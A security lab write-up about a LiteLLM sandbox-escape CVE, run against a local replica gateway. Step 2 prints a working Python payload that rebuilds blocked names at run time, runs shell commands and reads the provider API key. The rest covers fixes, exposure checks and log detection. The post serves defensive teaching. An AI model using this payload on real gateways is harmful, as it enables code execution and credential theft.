Lab in this post. The Docker lab is a small replica gateway that reproduces the bug class, not LiteLLM itself: same route, same design mistake, fake secrets, 127.0.0.1 only. You will watch a text filter reject an obvious payload, bypass it, steal a fake provider key, then re-test three different fixes. The exploit script refuses any non-local target.


What happened: CVE-2026-40217 and the KEV listing

LiteLLM is a widely used open-source LLM gateway: one OpenAI-style API in front of many model providers, with virtual keys, budgets and guardrails. That makes it a high-value target, because the proxy holds the upstream provider keys.

Here is what the primary sources confirm.

Two things this post does not claim: who is exploiting it, or how. Reporting names a threat-intelligence source we could not find, so we leave it out.

The design mistake: an unprotected alternate channel

Guardrails let you run custom Python on every request. To test one, an admin pastes code into a test endpoint and sees the result. The mistake is where that code runs: inside the gateway process, with the gateway’s privileges, behind a sandbox built from two parts.

The first part inspects what the code says. The second assumes the code can only reach what it was handed. Python gives the attacker both for free: attribute names are just strings, and every object leads back to object and the whole class graph. The filter never sees a forbidden word if the code assembles it at run time.

Flow diagram of the vulnerable path: admin route, source-text filter, exec in the gateway process, escape by assembling names at run time, impact as root with provider keys, and three fixes mapped to the steps they cut.

X41 describes the real bypass as two techniques: building blocked names at run time, and manipulating a function’s code object (bytecode) to reach unrestricted builtins. Our replica uses a simpler object-graph walk. It is the same lesson, with an easier-to-read payload.

Lab setup: LiteLLM-style guardrail gateway replica

Hands-on lab
LiteLLM-style guardrail gateway replica
A self-contained practice lab that runs only on your own machine. Attack it, fix it, and prove each fix works.
Download the lab (zip) Sign in to downloadlitellm-lab.zip · 9 KB
Requirements
Docker with Compose, bash and curl (Linux, macOS or WSL), Python 3 on the host, and free ports 4000 to 4003 on loopback.
SHA-256
df8985df0ddf4223eb6980853a8cde5dc66b98b42b9b50be1f9e2f775da2b7b6
How to check the file is genuine
Run the command for your system in the folder you downloaded to. The output must match the SHA-256 above exactly; if it does not, delete the file and download it again.
Linuxsha256sum litellm-lab.zip
macOSshasum -a 256 litellm-lab.zip
WindowsGet-FileHash litellm-lab.zip
How to run it, what is inside and how to clean up are in the lab reference at the end.

The lab is four copies of the same small gateway on 127.0.0.1: one vulnerable, and one for each fix. Download it from the lab card above, bring it up with one command and follow along. Everything here was run for this write-up on a normal laptop with Docker, and the outputs below are real captures, not reconstructions.

Port Gateway What it shows
4000 Vulnerable The route runs submitted Python in the gateway process
4001 Fix 1 The route is removed
4002 Fix 2 A reverse proxy blocks the route
4003 Fix 3 The code runs in an isolated, unprivileged worker

Step 1: recon, and the filter doing its job

The gateway answers on port 4000. An unauthenticated POST to the route gets a 401, not a 404, which tells you the route exists and wants a key.

Terminal: /health returns status ok, mode vulnerable, and exposure-check.sh reports EXPOSED because the route answers HTTP 401.

Now send the obvious payload, import os and a call to run id. The filter rejects it with a 400. This is the point where many teams would call the feature "sandboxed". It isn’t. It is only blocking the words.

Step 2: the bypass

The payload builds each blocked name from pieces, so none of them ever appears in the submitted source.

u = "_" * 2
def d(o, n):
    return getattr(o, u + n + u)          # d(x, "class") == x.__class__
def apply_guardrail(i):
    base = d(d((), "class"), "base")      # object
    for c in d(base, "subclasses")():     # every class in the process
        if d(c, "name") == "_wrap_close": # a class defined inside the os module
            g = d(d(c, "init"), "glo" + "bals")
            return g["po" + "pen"]("id; echo KEY=$PROVIDER_API_KEY").read()

Nothing here contains __, import or os. The filter passes it, getattr was left in the builtins, and the code walks from an empty tuple to a function whose globals include a way to start a process. The gateway runs it as root and the fake provider key sits in the process environment.

Terminal: the obvious payload is rejected with 400, then the runtime-string payload returns uid=0(root) and KEY=sk-FAKE-provider-key-lab-0001, verdict EXPLOITED.

That is the impact in one screenshot: code execution as root and the upstream credential. In a real deployment that credential is a live provider key with a budget attached.

Step 3: fix it, three ways

Each fix cuts the chain at a different point, so test all three.

Fix What it does Result in the lab
1. Remove the route The feature is off unless you opt in. 404, nothing to exploit
2. Block at the proxy Reverse proxy returns 403 for the path. The workaround from the advisory while you cannot upgrade. 403, blocked from outside
3. Isolate the runner Code runs in a child process with an empty environment, resource limits, a timeout and no root. Escape still works, finds nothing

Terminal: the same exploit against the three fixes: 404 route removed, 403 blocked at the proxy, and for the isolated worker uid=10001 with an empty KEY and the verdict sandbox escaped but nothing to steal.

Fix 3 is the honest one. We kept the same weak sandbox inside the child on purpose, and the escape still runs. It gets an unprivileged user with no secrets, no network keys and a three-second limit. The sandbox is not the security boundary; the process around it is.

On the real product, upgrade to 1.83.11 or later. Upstream replaced the hand-rolled sandbox with RestrictedPython. Treat that as defence in depth rather than a boundary, for the reason above.

Step 4: am I exposed? Hunt for it

Check exposure first.

scripts/exposure-check.sh https://your-gateway.example.com
# OK    = 404/403/410: route not reachable
# EXPOSED = 401/200: route answers, block it or upgrade

Then check your logs. A normal admin test is rare. A burst of 400s from one client followed by a 200 is filter probing followed by a bypass.

Terminal: detect.sh output listing POST requests to the guardrail route, with 400 responses marked info and the 200 marked SUSPECT.

Also check, in this order:

Remediation checklist

  1. Upgrade LiteLLM to 1.83.11 or later (affected: >= 1.81.8, < 1.83.10).
  2. Until then, block POST /guardrails/test_custom_code at the reverse proxy or API gateway.
  3. Restrict the management interface with firewall rules or security groups.
  4. Run the container as an unprivileged user, read-only, with capabilities dropped.
  5. Keep upstream provider keys out of the gateway’s environment where you can, and scope and budget them.
  6. Rotate the master key and provider keys if the route was reachable on an unpatched gateway.

Reproduction notes: what this lab is and is not

FAQ

Is LiteLLM CVE-2026-40217 exploited in the wild?

CISA added it to the KEV catalog on 18 November 2026, which means CISA has evidence of exploitation. Details of who and how have not been confirmed by the primary sources we could check.

Do I need to be authenticated to exploit it?

Yes, with the proxy-admin credential, which X41 identifies as the master key. That is a real barrier but not a strong one, since master keys leak.

How do I block it right now?

Block POST /guardrails/test_custom_code at your reverse proxy or API gateway. The lab’s proxy/nginx.conf shows the one-line rule.

Which versions are affected, and which fixes it?

The GitHub advisory lists >= 1.81.8, < 1.83.10. Use 1.83.11 or later, because the advisory text names that version.

Why can’t a Python blocklist sandbox be secure?

A blocklist checks the text of the code, but Python lets code construct names, reach classes through any object and rewrite its own bytecode. Isolation has to happen outside the interpreter: a separate process, no secrets, no privileges, and a hard timeout.

Key takeaways

Lab reference: files, run steps and clean-up

litellm-lab/
  docker-compose.yml  README.md
  gateway/   app.py  Dockerfile        (the replica gateway: vulnerable + fixed modes)
  proxy/     nginx.conf                (fix 2: block the route at the edge)
  exploit/   exploit.py                (local-only proof: runs `id`, looks for the fake key)
  scripts/   exposure-check.sh  detect.sh
unzip litellm-lab.zip && cd litellm-lab
docker compose up -d --build            # four gateways, all on 127.0.0.1
python3 exploit/exploit.py http://127.0.0.1:4000     # vulnerable
python3 exploit/exploit.py http://127.0.0.1:4001     # fix 1
python3 exploit/exploit.py http://127.0.0.1:4002     # fix 2
python3 exploit/exploit.py http://127.0.0.1:4003     # fix 3
docker compose down                     # stop and remove the containers

The exploit script only proves code execution with id against the replica, and it refuses any non-local target. Nothing is sent outside 127.0.0.1.

References

Lab by the dhacker Security Research & Labs team. Educational use only: run it against systems you own.